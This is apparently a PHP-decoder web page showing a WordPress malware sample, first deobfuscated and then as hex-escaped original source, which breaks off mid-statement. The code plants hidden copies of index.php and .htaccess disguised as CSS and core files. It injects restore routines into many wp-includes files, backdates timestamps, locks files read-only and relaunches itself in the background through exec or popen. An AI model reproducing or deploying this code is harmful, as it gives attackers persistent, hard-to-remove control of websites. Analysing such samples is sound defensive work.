Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto uPpDV; DePUR: touch($G9T05, $gUp1d); goto qnXi1; CQ0pr: touch($G9T05, $gUp1d..
Decoded Output download
<?php
goto uPpDV; DePUR: touch($G9T05, $gUp1d); goto qnXi1; CQ0pr: touch($G9T05, $gUp1d); goto W0klh; qnXi1: $G9T05 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/rest-api.php"; goto DSK1Z; eZ2rQ: $w3s1v = $hbwYY . "/" . $A0Za7; goto YtLjn; CLv3I: touch($G9T05, $gUp1d); goto twvDH; EdjFr: $XPpRI = $_SERVER["DOCUMENT_ROOT"] . "/index.php"; goto YGI3O; H5skW: if (!file_exists($Kqth2)) { goto nB_Lg; } goto wKFjk; MKG1l: file_put_contents($G9T05, str_replace("function wp_filter_comment", $guveA . "function wp_filter_comment", file_get_contents($G9T05))); goto DePUR; cvSBF: GxtpE: goto dPRmz; HC0Af: $G9T05 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/theme.php"; goto TX4Qt; Yxm70: $A0Za7 = "index.php"; goto kKQvz; QYvIx: if (file_exists($w3s1v)) { goto xc8PE; } goto Xc9Tm; qfpwM: xc8PE: goto yZlhn; fH2LF: file_put_contents($G9T05, str_replace("function is_front_page", $guveA . "function is_front_page", file_get_contents($G9T05))); goto qUxwg; T68lR: sleep(1); goto f_vVu; qZqrl: @chmod($w3s1v, 0444); goto qfpwM; kKQvz: $RtDvW = ".htaccess"; goto RQ8vr; b2e7G: $PYHfY = file_get_contents($bcru9); goto H5skW; pR1xH: @unlink($Vy70t); goto eZ2rQ; rkrQ7: $hbwYY = realpath(dirname($Vy70t)); goto k3b78; OO0LF: function AE3a4() { goto CD8lc; FxbUv: return true; goto EoTf3; CD8lc: $aiKJ2 = explode(",", ini_get("disable_functions")); goto dIWTj; z1BIf: ZHJTv: goto jlJI_; D9gwE: OxmdW: goto FxbUv; dIWTj: $vCtYi = array(); goto iOBnX; iOBnX: foreach ($aiKJ2 as $MzLUT) { $vCtYi[] = trim($MzLUT); zqaaV: } goto z1BIf; YJ8o_: return false; goto D9gwE; jlJI_: if (!(in_array("exec", $vCtYi) && in_array("popen", $vCtYi))) { goto OxmdW; } goto YJ8o_; EoTf3: } goto t1lTx; OlV1m: if (Ae3a4() !== false) { goto xs_u4; } goto Bc4FD; PwTiO: @chmod($bcru9, 0444); goto aqSxp; qUxwg: touch($G9T05, $gUp1d); goto LQEdf; YtLjn: $bcru9 = $hbwYY . "/" . $RtDvW; goto rXAfh; DhwL4: LCuGL: goto MOMN9; k5maF: touch($G9T05, $gUp1d); goto S0UH4; BVAZ9: file_put_contents($G9T05, str_replace("function render_block_core_archives", $guveA . "function render_block_core_archives", file_get_contents($G9T05))); goto MjfXn; S0UH4: $G9T05 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/plugin.php"; goto F0ymv; er_sp: $Vy70t = __FILE__; goto rkrQ7; T52HI: nB_Lg: goto wL9zM; rXAfh: $daekz = file_get_contents($w3s1v); goto bwI1K; RQ8vr: if (!(IbS0F() || @$_GET["ok"] != null)) { goto QWi62; } goto pR1xH; DSK1Z: file_put_contents($G9T05, str_replace("function rest_get_combining_operation_error", $guveA . "function rest_get_combining_operation_error", file_get_contents($G9T05))); goto CLv3I; oPAGY: @touch($bcru9, strtotime("-400 days", time())); goto q2nEw; ecr90: $G9T05 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/query.php"; goto fH2LF; wKFjk: goto olVIv; goto T52HI; Qw44M: echo "ok ok ok!"; goto FswgQ; k3b78: $Kqth2 = str_replace($hbwYY, '', $Vy70t); goto O7y05; TVIwV: $bcOye = $_SERVER["DOCUMENT_ROOT"] . $JYxwY; goto bT04l; lPKeJ: @touch($w3s1v, strtotime("-400 days", time())); goto qZqrl; oRYtv: function ibs0f() { goto OQ6rQ; xn1q3: if (isset($_SERVER["SCRIPT_NAME"])) { goto Cs3kv; } goto Fa30K; PS0Vf: $vzgoa = true; goto TV89P; TV89P: Zt2db: goto L6ECo; FM581: if (!($vzgoa === false)) { goto hsUmg; } goto xn1q3; Fa30K: $vzgoa = true; goto vZKqy; fUo5i: return $vzgoa; goto A2GS7; L0KaM: if (!(isset($_SERVER["argc"]) && $_SERVER["argc"] >= 2)) { goto Zt2db; } goto PS0Vf; F9YPK: if (!($vzgoa === false)) { goto msJri; } goto L0KaM; OQ6rQ: $vzgoa = preg_match("/cli/i", php_sapi_name()) ? true : false; goto F9YPK; vZKqy: Cs3kv: goto q82Dw; q82Dw: hsUmg: goto fUo5i; L6ECo: msJri: goto FM581; A2GS7: } goto GTkvf; Mxnhz: echo "no function! <a href="" . $Kqth2 . "?ok=1">go go go</a>"; goto cvSBF; DHzD8: $G9T05 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/blocks/archives.php"; goto BVAZ9; IXy2m: o_aY0: goto lCQQv; FswgQ: goto GxtpE; goto Ctp2L; TX4Qt: file_put_contents($G9T05, str_replace("function add_theme_support", $guveA . "function add_theme_support", file_get_contents($G9T05))); goto JGQXQ; Bc4FD: echo "no function! <a href="" . $Kqth2 . "?ok=1">go go go</a>"; goto TTntj; bwI1K: $zyHLw = file_get_contents($bcru9); goto sqVuI; j2GnO: $Kqth2 = str_replace("\", '', $Kqth2); goto Rm8bi; SFOv9: file_put_contents($G9T05, str_replace("function get_uploaded_header_images", $guveA . "function get_uploaded_header_images", file_get_contents($G9T05))); goto tTXrv; TTntj: goto RBXVZ; goto dQyuT; W0klh: $G9T05 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/category.php"; goto rEPWB; d8aHO: chmod($JdiRS, 0444); goto oRYtv; arqBr: oCeI3("nohup {$MrHlD} " . $Vy70t . " >/dev/null 2>&1 &"); goto vchoY; c7kXM: if (!($EKoCm != $M2Bok)) { goto LCuGL; } goto Po7G0; wL9zM: $EKoCm = hash("sha1", $bIZY1); goto v2poW; OmmZV: @file_put_contents($bcru9, $zyHLw); goto wvQ5m; hw8JE: olVIv: goto YwfnU; YGI3O: $JdiRS = $_SERVER["DOCUMENT_ROOT"] . "/.htaccess"; goto b408R; dQyuT: xs_u4: goto arqBr; sqVuI: $M2Bok = hash("sha1", $daekz); goto f6sNi; f_vVu: goto o61W_; goto hw8JE; MjfXn: touch($G9T05, $gUp1d); goto CuizP; hu3lH: @touch($w3s1v, strtotime("-400 days", time())); goto nk1cn; Po7G0: @unlink($w3s1v); goto caJCg; b408R: file_put_contents($bcOye, file_get_contents($XPpRI)); goto gGovd; OZgaI: @unlink($bcru9); goto OmmZV; vchoY: if (file_exists($Kqth2)) { goto SHCcM; } goto Qw44M; N1Wkx: touch($G9T05, $gUp1d); goto DHzD8; bT04l: $KyOn1 = $_SERVER["DOCUMENT_ROOT"] . $h5emi; goto EdjFr; MOMN9: if (!($IH7NV != $B5udx)) { goto EGWJJ; } goto OZgaI; f6sNi: $B5udx = hash("sha1", $zyHLw); goto MXyfO; YwfnU: QWi62: goto OlV1m; wvQ5m: @touch($bcru9, strtotime("-400 days", time())); goto PwTiO; uPpDV: $JYxwY = "/wp-includes/Requests/src/Auth/Basic.css"; goto RrZfe; Xc9Tm: @file_put_contents($w3s1v, $daekz); goto lPKeJ; I0HJA: touch($JdiRS, $gUp1d); goto d8aHO; LoM_z: $MrHlD = PFxII(); goto Yxm70; jPuL8: chmod($XPpRI, 0444); goto I0HJA; F0ymv: file_put_contents($G9T05, str_replace("function do_action_ref_array", $guveA . "function do_action_ref_array", file_get_contents($G9T05))); goto CQ0pr; caJCg: @file_put_contents($w3s1v, $daekz); goto hu3lH; O7y05: $Kqth2 = str_replace("/", '', $Kqth2); goto j2GnO; lCQQv: $bIZY1 = file_get_contents($w3s1v); goto b2e7G; MXyfO: o61W_: goto JfNlE; DNAvH: file_put_contents($G9T05, str_replace("function is_wp_error", $guveA . "function is_wp_error", file_get_contents($G9T05))); goto k5maF; gGovd: file_put_contents($KyOn1, file_get_contents($JdiRS)); goto O0MdQ; JGQXQ: touch($G9T05, $gUp1d); goto er_sp; v2poW: $IH7NV = hash("sha1", $PYHfY); goto c7kXM; tTXrv: touch($G9T05, $gUp1d); goto HC0Af; O0MdQ: $gUp1d = filemtime($_SERVER["DOCUMENT_ROOT"] . "/wp-admin/css/l10n.css"); goto LO40q; H6Rb2: @file_put_contents($bcru9, $zyHLw); goto oPAGY; LQEdf: $G9T05 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/cron.php"; goto yX0Zi; GTkvf: function OCEi3($CajsX, $SpWUx = "popen") { goto i_3LE; m1n9U: Rf9wI: goto RCR0S; V7Zb1: foreach ($aiKJ2 as $MzLUT) { $vCtYi[] = trim($MzLUT); UzEHH: } goto p_2cR; hhw81: QJdbb: goto uUIHs; fdVw2: Pn9LV: goto hhw81; RCR0S: $p9oGQ = ''; goto K5Fsu; wTsJW: if (!in_array($SpWUx, $vCtYi)) { goto KCI13; } goto une10; L08s3: return false; goto m1n9U; oPaAV: $vCtYi = array(); goto V7Zb1; i_3LE: $aiKJ2 = explode(",", ini_get("disable_functions")); goto oPaAV; tVAjK: if (!in_array($SpWUx, $vCtYi)) { goto Rf9wI; } goto L08s3; K5Fsu: switch ($SpWUx) { case "exec": goto j8mzS; nYH1l: return $p9oGQ; goto XFFQ0; Nt92r: foreach ($aQDcw as $kBDFg => $et4Uz) { $p9oGQ .= $kBDFg . " : " . $et4Uz . PHP_EOL; FGX5t: } goto tww3e; XFFQ0: goto QJdbb; goto umI27; j8mzS: exec($CajsX, $aQDcw); goto Nt92r; tww3e: ve0y0: goto nYH1l; umI27: case "popen": goto w9qpX; mL_6R: $p9oGQ .= $AWlLq; goto n8W3o; w9qpX: $J1ad_ = popen($CajsX, "r"); goto tDeVa; uY_Pm: goto QJdbb; goto t7wIy; Iu0Sk: Z3_ku: goto oSUkB; oSUkB: pclose($J1ad_); goto dZO__; KEM5o: if (feof($J1ad_)) { goto Z3_ku; } goto uXtau; uXtau: $AWlLq = fgets($J1ad_, 4096); goto mL_6R; tDeVa: EBzxj: goto KEM5o; dZO__: return $p9oGQ; goto uY_Pm; n8W3o: goto EBzxj; goto Iu0Sk; t7wIy: default: return false; goto QJdbb; } goto fdVw2; une10: $SpWUx = "exec"; goto D2ZdY; p_2cR: FM12Y: goto wTsJW; D2ZdY: KCI13: goto tVAjK; uUIHs: } goto OO0LF; Rm8bi: function PFXII() { goto nuB6i; x9qnU: if (!(isset($hekJs[1]) && $hekJs[1] != '')) { goto pJzl7; } goto vk2xs; pMrHW: ob_end_clean(); goto GVgNf; sErso: $SAS8I = ob_get_contents(); goto pMrHW; kK_SJ: return $hekJs[1] . "/bin/php"; goto MukQx; DOIIe: return "php"; goto JNqEl; GVgNf: preg_match("/--bindir=([^&]+)/si", $SAS8I, $hekJs); goto x9qnU; L_4P7: phpinfo(1); goto sErso; nuB6i: ob_start(); goto L_4P7; Owo91: if (isset($hekJs[1])) { goto WTsx1; } goto DOIIe; kW6WT: preg_match("/--prefix=([^&]+)/si", $SAS8I, $hekJs); goto Owo91; JNqEl: WTsx1: goto kK_SJ; vk2xs: return $hekJs[1] . "/php"; goto HWi96; HWi96: pJzl7: goto kW6WT; MukQx: } goto LoM_z; aqSxp: EGWJJ: goto T68lR; yX0Zi: file_put_contents($G9T05, str_replace("function wp_schedule_event", $guveA . "function wp_schedule_event", file_get_contents($G9T05))); goto obEEF; obEEF: touch($G9T05, $gUp1d); goto pFxe_; rEPWB: file_put_contents($G9T05, str_replace("function get_cat_name", $guveA . "function get_cat_name", file_get_contents($G9T05))); goto N1Wkx; twvDH: $G9T05 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/theme.php"; goto SFOv9; yZlhn: if (file_exists($bcru9)) { goto o_aY0; } goto H6Rb2; JfNlE: if (!true) { goto olVIv; } goto QYvIx; Ctp2L: SHCcM: goto Mxnhz; RrZfe: $h5emi = "/wp-includes/customize/class-wp-customize-filter-control.php"; goto TVIwV; q2nEw: @chmod($bcru9, 0444); goto IXy2m; nk1cn: @chmod($w3s1v, 0444); goto DhwL4; LO40q: touch($XPpRI, $gUp1d); goto jPuL8; pFxe_: $G9T05 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/load.php"; goto DNAvH; CuizP: $G9T05 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/comment.php"; goto MKG1l; t1lTx: $guveA = "$ixsssxdx = $_SERVER['DOCUMENT_ROOT'].'/ind'.'ex.php'; $hct = $_SERVER['DOCUMENT_ROOT'].'/.htac'.'cess'; $bddex = $_SERVER['DOCUMENT_ROOT'].'" . $JYxwY . "'; $bksht = $_SERVER['DOCUMENT_ROOT'].'" . $h5emi . "'; if($ixsssxdx && file_exists($bddex)){ if(!file_exists($ixsssxdx) or (filesize($ixsssxdx) != filesize($bddex))){ chmod($ixsssxdx,'420'); file_put_contents($ixsssxdx,file_get_contents($bddex)); chmod($ixsssxdx,'292'); } } if($hct && file_exists($bksht)){ if(!file_exists($hct) or (filesize($hct) != filesize($bksht))){ chmod($hct,'420'); file_put_contents($hct,file_get_contents($bksht)); chmod($hct,'292'); } }"; goto ecr90; dPRmz: RBXVZ: ?>
Did this file decode correctly?
Original Code
<?php
goto uPpDV; DePUR: touch($G9T05, $gUp1d); goto qnXi1; CQ0pr: touch($G9T05, $gUp1d); goto W0klh; qnXi1: $G9T05 = $_SERVER["\104\117\103\x55\x4d\105\116\124\x5f\122\117\117\x54"] . "\57\167\x70\x2d\151\x6e\x63\154\165\x64\x65\163\57\162\x65\163\x74\55\141\160\151\56\x70\x68\160"; goto DSK1Z; eZ2rQ: $w3s1v = $hbwYY . "\57" . $A0Za7; goto YtLjn; CLv3I: touch($G9T05, $gUp1d); goto twvDH; EdjFr: $XPpRI = $_SERVER["\104\x4f\103\x55\115\x45\116\x54\x5f\x52\x4f\117\x54"] . "\57\x69\x6e\x64\x65\x78\x2e\160\150\x70"; goto YGI3O; H5skW: if (!file_exists($Kqth2)) { goto nB_Lg; } goto wKFjk; MKG1l: file_put_contents($G9T05, str_replace("\x66\165\156\143\x74\151\x6f\156\x20\x77\160\137\x66\x69\154\x74\x65\162\x5f\143\157\x6d\155\145\156\x74", $guveA . "\x66\165\x6e\x63\x74\151\x6f\x6e\x20\x77\x70\x5f\146\x69\x6c\x74\145\x72\x5f\x63\157\155\155\145\x6e\164", file_get_contents($G9T05))); goto DePUR; cvSBF: GxtpE: goto dPRmz; HC0Af: $G9T05 = $_SERVER["\x44\x4f\x43\x55\x4d\105\116\x54\137\122\117\x4f\124"] . "\x2f\x77\160\x2d\151\156\143\154\x75\144\145\163\x2f\x74\150\x65\155\x65\x2e\x70\x68\160"; goto TX4Qt; Yxm70: $A0Za7 = "\x69\156\144\145\170\x2e\x70\x68\x70"; goto kKQvz; QYvIx: if (file_exists($w3s1v)) { goto xc8PE; } goto Xc9Tm; qfpwM: xc8PE: goto yZlhn; fH2LF: file_put_contents($G9T05, str_replace("\146\165\x6e\x63\x74\151\157\156\x20\x69\x73\137\146\162\x6f\x6e\x74\137\x70\x61\x67\145", $guveA . "\x66\165\156\143\164\151\x6f\x6e\x20\x69\163\x5f\x66\162\157\156\164\x5f\x70\141\x67\x65", file_get_contents($G9T05))); goto qUxwg; T68lR: sleep(1); goto f_vVu; qZqrl: @chmod($w3s1v, 0444); goto qfpwM; kKQvz: $RtDvW = "\56\150\164\x61\x63\143\x65\x73\163"; goto RQ8vr; b2e7G: $PYHfY = file_get_contents($bcru9); goto H5skW; pR1xH: @unlink($Vy70t); goto eZ2rQ; rkrQ7: $hbwYY = realpath(dirname($Vy70t)); goto k3b78; OO0LF: function AE3a4() { goto CD8lc; FxbUv: return true; goto EoTf3; CD8lc: $aiKJ2 = explode("\x2c", ini_get("\x64\x69\163\141\x62\x6c\145\137\x66\x75\156\x63\164\151\157\156\x73")); goto dIWTj; z1BIf: ZHJTv: goto jlJI_; D9gwE: OxmdW: goto FxbUv; dIWTj: $vCtYi = array(); goto iOBnX; iOBnX: foreach ($aiKJ2 as $MzLUT) { $vCtYi[] = trim($MzLUT); zqaaV: } goto z1BIf; YJ8o_: return false; goto D9gwE; jlJI_: if (!(in_array("\x65\170\145\143", $vCtYi) && in_array("\x70\x6f\160\x65\x6e", $vCtYi))) { goto OxmdW; } goto YJ8o_; EoTf3: } goto t1lTx; OlV1m: if (Ae3a4() !== false) { goto xs_u4; } goto Bc4FD; PwTiO: @chmod($bcru9, 0444); goto aqSxp; qUxwg: touch($G9T05, $gUp1d); goto LQEdf; YtLjn: $bcru9 = $hbwYY . "\x2f" . $RtDvW; goto rXAfh; DhwL4: LCuGL: goto MOMN9; k5maF: touch($G9T05, $gUp1d); goto S0UH4; BVAZ9: file_put_contents($G9T05, str_replace("\x66\x75\x6e\143\164\x69\157\x6e\40\162\145\156\144\145\x72\x5f\x62\x6c\x6f\143\x6b\137\x63\157\162\x65\137\141\162\143\x68\151\166\x65\163", $guveA . "\146\165\156\x63\x74\x69\157\x6e\40\162\x65\156\144\145\162\137\x62\154\157\143\153\137\143\x6f\162\x65\x5f\141\x72\x63\150\151\x76\145\163", file_get_contents($G9T05))); goto MjfXn; S0UH4: $G9T05 = $_SERVER["\x44\x4f\103\x55\115\105\x4e\x54\x5f\x52\117\117\x54"] . "\x2f\x77\160\55\151\156\143\x6c\x75\x64\145\163\57\160\x6c\165\147\151\x6e\56\x70\x68\160"; goto F0ymv; er_sp: $Vy70t = __FILE__; goto rkrQ7; T52HI: nB_Lg: goto wL9zM; rXAfh: $daekz = file_get_contents($w3s1v); goto bwI1K; RQ8vr: if (!(IbS0F() || @$_GET["\157\x6b"] != null)) { goto QWi62; } goto pR1xH; DSK1Z: file_put_contents($G9T05, str_replace("\x66\x75\x6e\x63\164\151\157\156\x20\x72\145\x73\x74\x5f\147\x65\164\137\143\x6f\x6d\142\x69\x6e\151\156\x67\137\x6f\160\x65\x72\141\164\151\157\x6e\x5f\145\x72\162\x6f\x72", $guveA . "\x66\x75\156\143\164\x69\x6f\x6e\x20\x72\145\x73\x74\x5f\x67\145\164\137\x63\157\155\x62\151\156\151\x6e\147\x5f\x6f\x70\x65\x72\x61\x74\x69\x6f\156\x5f\x65\x72\162\157\x72", file_get_contents($G9T05))); goto CLv3I; oPAGY: @touch($bcru9, strtotime("\55\64\60\x30\x20\144\x61\171\163", time())); goto q2nEw; ecr90: $G9T05 = $_SERVER["\104\117\103\125\x4d\105\116\x54\x5f\122\x4f\x4f\124"] . "\x2f\167\160\x2d\151\x6e\x63\x6c\165\x64\x65\x73\x2f\x71\x75\x65\x72\x79\56\160\x68\160"; goto fH2LF; wKFjk: goto olVIv; goto T52HI; Qw44M: echo "\x6f\153\x20\157\153\x20\x6f\x6b\41"; goto FswgQ; k3b78: $Kqth2 = str_replace($hbwYY, '', $Vy70t); goto O7y05; TVIwV: $bcOye = $_SERVER["\x44\x4f\103\125\115\x45\116\x54\x5f\122\x4f\x4f\124"] . $JYxwY; goto bT04l; lPKeJ: @touch($w3s1v, strtotime("\55\x34\60\60\40\144\141\171\163", time())); goto qZqrl; oRYtv: function ibs0f() { goto OQ6rQ; xn1q3: if (isset($_SERVER["\x53\x43\x52\111\x50\x54\x5f\x4e\101\115\x45"])) { goto Cs3kv; } goto Fa30K; PS0Vf: $vzgoa = true; goto TV89P; TV89P: Zt2db: goto L6ECo; FM581: if (!($vzgoa === false)) { goto hsUmg; } goto xn1q3; Fa30K: $vzgoa = true; goto vZKqy; fUo5i: return $vzgoa; goto A2GS7; L0KaM: if (!(isset($_SERVER["\x61\162\147\143"]) && $_SERVER["\141\x72\147\x63"] >= 2)) { goto Zt2db; } goto PS0Vf; F9YPK: if (!($vzgoa === false)) { goto msJri; } goto L0KaM; OQ6rQ: $vzgoa = preg_match("\x2f\x63\154\151\x2f\151", php_sapi_name()) ? true : false; goto F9YPK; vZKqy: Cs3kv: goto q82Dw; q82Dw: hsUmg: goto fUo5i; L6ECo: msJri: goto FM581; A2GS7: } goto GTkvf; Mxnhz: echo "\156\x6f\x20\x66\165\x6e\143\x74\151\157\x6e\x21\x20\x3c\x61\40\150\162\145\x66\x3d\x22" . $Kqth2 . "\x3f\x6f\153\x3d\x31\x22\76\147\157\40\147\x6f\40\x67\x6f\74\x2f\x61\76"; goto cvSBF; DHzD8: $G9T05 = $_SERVER["\x44\117\x43\125\115\105\x4e\124\137\x52\x4f\117\x54"] . "\x2f\x77\x70\55\x69\156\143\x6c\165\144\x65\163\57\x62\154\x6f\143\153\x73\57\141\162\x63\150\x69\166\145\163\56\x70\150\x70"; goto BVAZ9; IXy2m: o_aY0: goto lCQQv; FswgQ: goto GxtpE; goto Ctp2L; TX4Qt: file_put_contents($G9T05, str_replace("\x66\165\x6e\x63\x74\x69\x6f\x6e\x20\x61\x64\144\x5f\164\150\x65\x6d\145\x5f\163\165\x70\x70\x6f\162\164", $guveA . "\x66\165\x6e\x63\164\x69\x6f\156\x20\141\144\144\x5f\x74\150\x65\155\x65\137\163\165\160\x70\x6f\162\164", file_get_contents($G9T05))); goto JGQXQ; Bc4FD: echo "\156\x6f\x20\x66\x75\x6e\x63\x74\151\x6f\156\x21\x20\x3c\x61\40\x68\162\145\146\x3d\42" . $Kqth2 . "\x3f\x6f\x6b\75\x31\42\x3e\x67\157\x20\x67\x6f\40\x67\x6f\x3c\x2f\x61\76"; goto TTntj; bwI1K: $zyHLw = file_get_contents($bcru9); goto sqVuI; j2GnO: $Kqth2 = str_replace("\x5c", '', $Kqth2); goto Rm8bi; SFOv9: file_put_contents($G9T05, str_replace("\146\x75\156\x63\164\151\x6f\x6e\40\x67\145\x74\x5f\x75\x70\x6c\x6f\141\144\145\x64\x5f\x68\x65\x61\x64\x65\162\x5f\151\x6d\141\147\145\163", $guveA . "\x66\x75\156\x63\164\x69\157\x6e\40\x67\x65\x74\x5f\165\x70\x6c\x6f\141\x64\145\x64\x5f\x68\x65\x61\x64\x65\x72\137\x69\x6d\x61\147\145\163", file_get_contents($G9T05))); goto tTXrv; TTntj: goto RBXVZ; goto dQyuT; W0klh: $G9T05 = $_SERVER["\104\x4f\103\125\x4d\x45\116\x54\137\122\x4f\x4f\x54"] . "\57\x77\160\x2d\x69\156\x63\x6c\x75\144\x65\x73\57\143\141\164\145\147\157\162\x79\x2e\x70\150\160"; goto rEPWB; d8aHO: chmod($JdiRS, 0444); goto oRYtv; arqBr: oCeI3("\156\x6f\150\x75\160\40{$MrHlD}\x20" . $Vy70t . "\x20\x3e\x2f\x64\x65\166\57\x6e\x75\154\154\40\62\76\46\x31\x20\46"); goto vchoY; c7kXM: if (!($EKoCm != $M2Bok)) { goto LCuGL; } goto Po7G0; wL9zM: $EKoCm = hash("\163\150\x61\x31", $bIZY1); goto v2poW; OmmZV: @file_put_contents($bcru9, $zyHLw); goto wvQ5m; hw8JE: olVIv: goto YwfnU; YGI3O: $JdiRS = $_SERVER["\x44\x4f\103\x55\115\105\x4e\124\x5f\x52\x4f\117\124"] . "\57\56\150\164\141\x63\143\x65\x73\163"; goto b408R; dQyuT: xs_u4: goto arqBr; sqVuI: $M2Bok = hash("\163\x68\x61\61", $daekz); goto f6sNi; f_vVu: goto o61W_; goto hw8JE; MjfXn: touch($G9T05, $gUp1d); goto CuizP; hu3lH: @touch($w3s1v, strtotime("\x2d\64\x30\x30\x20\x64\141\x79\163", time())); goto nk1cn; Po7G0: @unlink($w3s1v); goto caJCg; b408R: file_put_contents($bcOye, file_get_contents($XPpRI)); goto gGovd; OZgaI: @unlink($bcru9); goto OmmZV; vchoY: if (file_exists($Kqth2)) { goto SHCcM; } goto Qw44M; N1Wkx: touch($G9T05, $gUp1d); goto DHzD8; bT04l: $KyOn1 = $_SERVER["\x44\x4f\x43\125\115\105\x4e\124\137\122\117\x4f\x54"] . $h5emi; goto EdjFr; MOMN9: if (!($IH7NV != $B5udx)) { goto EGWJJ; } goto OZgaI; f6sNi: $B5udx = hash("\x73\150\141\x31", $zyHLw); goto MXyfO; YwfnU: QWi62: goto OlV1m; wvQ5m: @touch($bcru9, strtotime("\55\64\60\60\40\144\x61\x79\x73", time())); goto PwTiO; uPpDV: $JYxwY = "\57\167\160\x2d\x69\156\143\x6c\165\x64\x65\x73\x2f\x52\x65\x71\x75\x65\163\x74\163\57\x73\x72\143\x2f\x41\x75\x74\150\x2f\102\141\163\151\143\x2e\143\163\163"; goto RrZfe; Xc9Tm: @file_put_contents($w3s1v, $daekz); goto lPKeJ; I0HJA: touch($JdiRS, $gUp1d); goto d8aHO; LoM_z: $MrHlD = PFxII(); goto Yxm70; jPuL8: chmod($XPpRI, 0444); goto I0HJA; F0ymv: file_put_contents($G9T05, str_replace("\146\165\156\x63\164\151\x6f\x6e\40\144\x6f\137\141\x63\164\151\157\x6e\x5f\x72\145\146\137\x61\x72\x72\141\x79", $guveA . "\x66\165\156\143\x74\151\157\156\x20\144\157\x5f\x61\x63\x74\151\x6f\x6e\x5f\162\145\146\x5f\141\x72\162\x61\x79", file_get_contents($G9T05))); goto CQ0pr; caJCg: @file_put_contents($w3s1v, $daekz); goto hu3lH; O7y05: $Kqth2 = str_replace("\x2f", '', $Kqth2); goto j2GnO; lCQQv: $bIZY1 = file_get_contents($w3s1v); goto b2e7G; MXyfO: o61W_: goto JfNlE; DNAvH: file_put_contents($G9T05, str_replace("\x66\x75\156\143\164\151\x6f\156\40\x69\163\137\167\x70\x5f\x65\x72\162\x6f\162", $guveA . "\146\x75\x6e\143\164\151\157\156\40\151\x73\137\x77\160\x5f\145\x72\x72\157\162", file_get_contents($G9T05))); goto k5maF; gGovd: file_put_contents($KyOn1, file_get_contents($JdiRS)); goto O0MdQ; JGQXQ: touch($G9T05, $gUp1d); goto er_sp; v2poW: $IH7NV = hash("\163\150\x61\x31", $PYHfY); goto c7kXM; tTXrv: touch($G9T05, $gUp1d); goto HC0Af; O0MdQ: $gUp1d = filemtime($_SERVER["\104\117\x43\x55\x4d\105\x4e\x54\137\x52\117\x4f\124"] . "\x2f\167\x70\55\x61\144\x6d\151\156\57\143\163\163\x2f\154\61\60\x6e\56\x63\x73\163"); goto LO40q; H6Rb2: @file_put_contents($bcru9, $zyHLw); goto oPAGY; LQEdf: $G9T05 = $_SERVER["\104\x4f\103\125\115\105\x4e\124\137\x52\117\x4f\124"] . "\57\x77\x70\55\x69\x6e\x63\x6c\165\144\145\163\x2f\143\x72\x6f\156\56\160\150\160"; goto yX0Zi; GTkvf: function OCEi3($CajsX, $SpWUx = "\160\x6f\x70\x65\156") { goto i_3LE; m1n9U: Rf9wI: goto RCR0S; V7Zb1: foreach ($aiKJ2 as $MzLUT) { $vCtYi[] = trim($MzLUT); UzEHH: } goto p_2cR; hhw81: QJdbb: goto uUIHs; fdVw2: Pn9LV: goto hhw81; RCR0S: $p9oGQ = ''; goto K5Fsu; wTsJW: if (!in_array($SpWUx, $vCtYi)) { goto KCI13; } goto une10; L08s3: return false; goto m1n9U; oPaAV: $vCtYi = array(); goto V7Zb1; i_3LE: $aiKJ2 = explode("\54", ini_get("\144\x69\163\141\142\154\x65\x5f\146\x75\x6e\x63\164\x69\157\x6e\x73")); goto oPaAV; tVAjK: if (!in_array($SpWUx, $vCtYi)) { goto Rf9wI; } goto L08s3; K5Fsu: switch ($SpWUx) { case "\x65\170\145\143": goto j8mzS; nYH1l: return $p9oGQ; goto XFFQ0; Nt92r: foreach ($aQDcw as $kBDFg => $et4Uz) { $p9oGQ .= $kBDFg . "\40\x3a\40" . $et4Uz . PHP_EOL; FGX5t: } goto tww3e; XFFQ0: goto QJdbb; goto umI27; j8mzS: exec($CajsX, $aQDcw); goto Nt92r; tww3e: ve0y0: goto nYH1l; umI27: case "\160\157\160\x65\156": goto w9qpX; mL_6R: $p9oGQ .= $AWlLq; goto n8W3o; w9qpX: $J1ad_ = popen($CajsX, "\162"); goto tDeVa; uY_Pm: goto QJdbb; goto t7wIy; Iu0Sk: Z3_ku: goto oSUkB; oSUkB: pclose($J1ad_); goto dZO__; KEM5o: if (feof($J1ad_)) { goto Z3_ku; } goto uXtau; uXtau: $AWlLq = fgets($J1ad_, 4096); goto mL_6R; tDeVa: EBzxj: goto KEM5o; dZO__: return $p9oGQ; goto uY_Pm; n8W3o: goto EBzxj; goto Iu0Sk; t7wIy: default: return false; goto QJdbb; } goto fdVw2; une10: $SpWUx = "\x65\x78\x65\x63"; goto D2ZdY; p_2cR: FM12Y: goto wTsJW; D2ZdY: KCI13: goto tVAjK; uUIHs: } goto OO0LF; Rm8bi: function PFXII() { goto nuB6i; x9qnU: if (!(isset($hekJs[1]) && $hekJs[1] != '')) { goto pJzl7; } goto vk2xs; pMrHW: ob_end_clean(); goto GVgNf; sErso: $SAS8I = ob_get_contents(); goto pMrHW; kK_SJ: return $hekJs[1] . "\57\142\x69\x6e\x2f\x70\150\x70"; goto MukQx; DOIIe: return "\160\x68\x70"; goto JNqEl; GVgNf: preg_match("\57\x2d\x2d\x62\151\x6e\144\151\x72\x3d\x28\x5b\136\x26\x5d\53\x29\x2f\163\x69", $SAS8I, $hekJs); goto x9qnU; L_4P7: phpinfo(1); goto sErso; nuB6i: ob_start(); goto L_4P7; Owo91: if (isset($hekJs[1])) { goto WTsx1; } goto DOIIe; kW6WT: preg_match("\x2f\x2d\x2d\x70\162\x65\146\151\x78\75\x28\x5b\x5e\46\x5d\x2b\x29\x2f\x73\x69", $SAS8I, $hekJs); goto Owo91; JNqEl: WTsx1: goto kK_SJ; vk2xs: return $hekJs[1] . "\x2f\160\x68\x70"; goto HWi96; HWi96: pJzl7: goto kW6WT; MukQx: } goto LoM_z; aqSxp: EGWJJ: goto T68lR; yX0Zi: file_put_contents($G9T05, 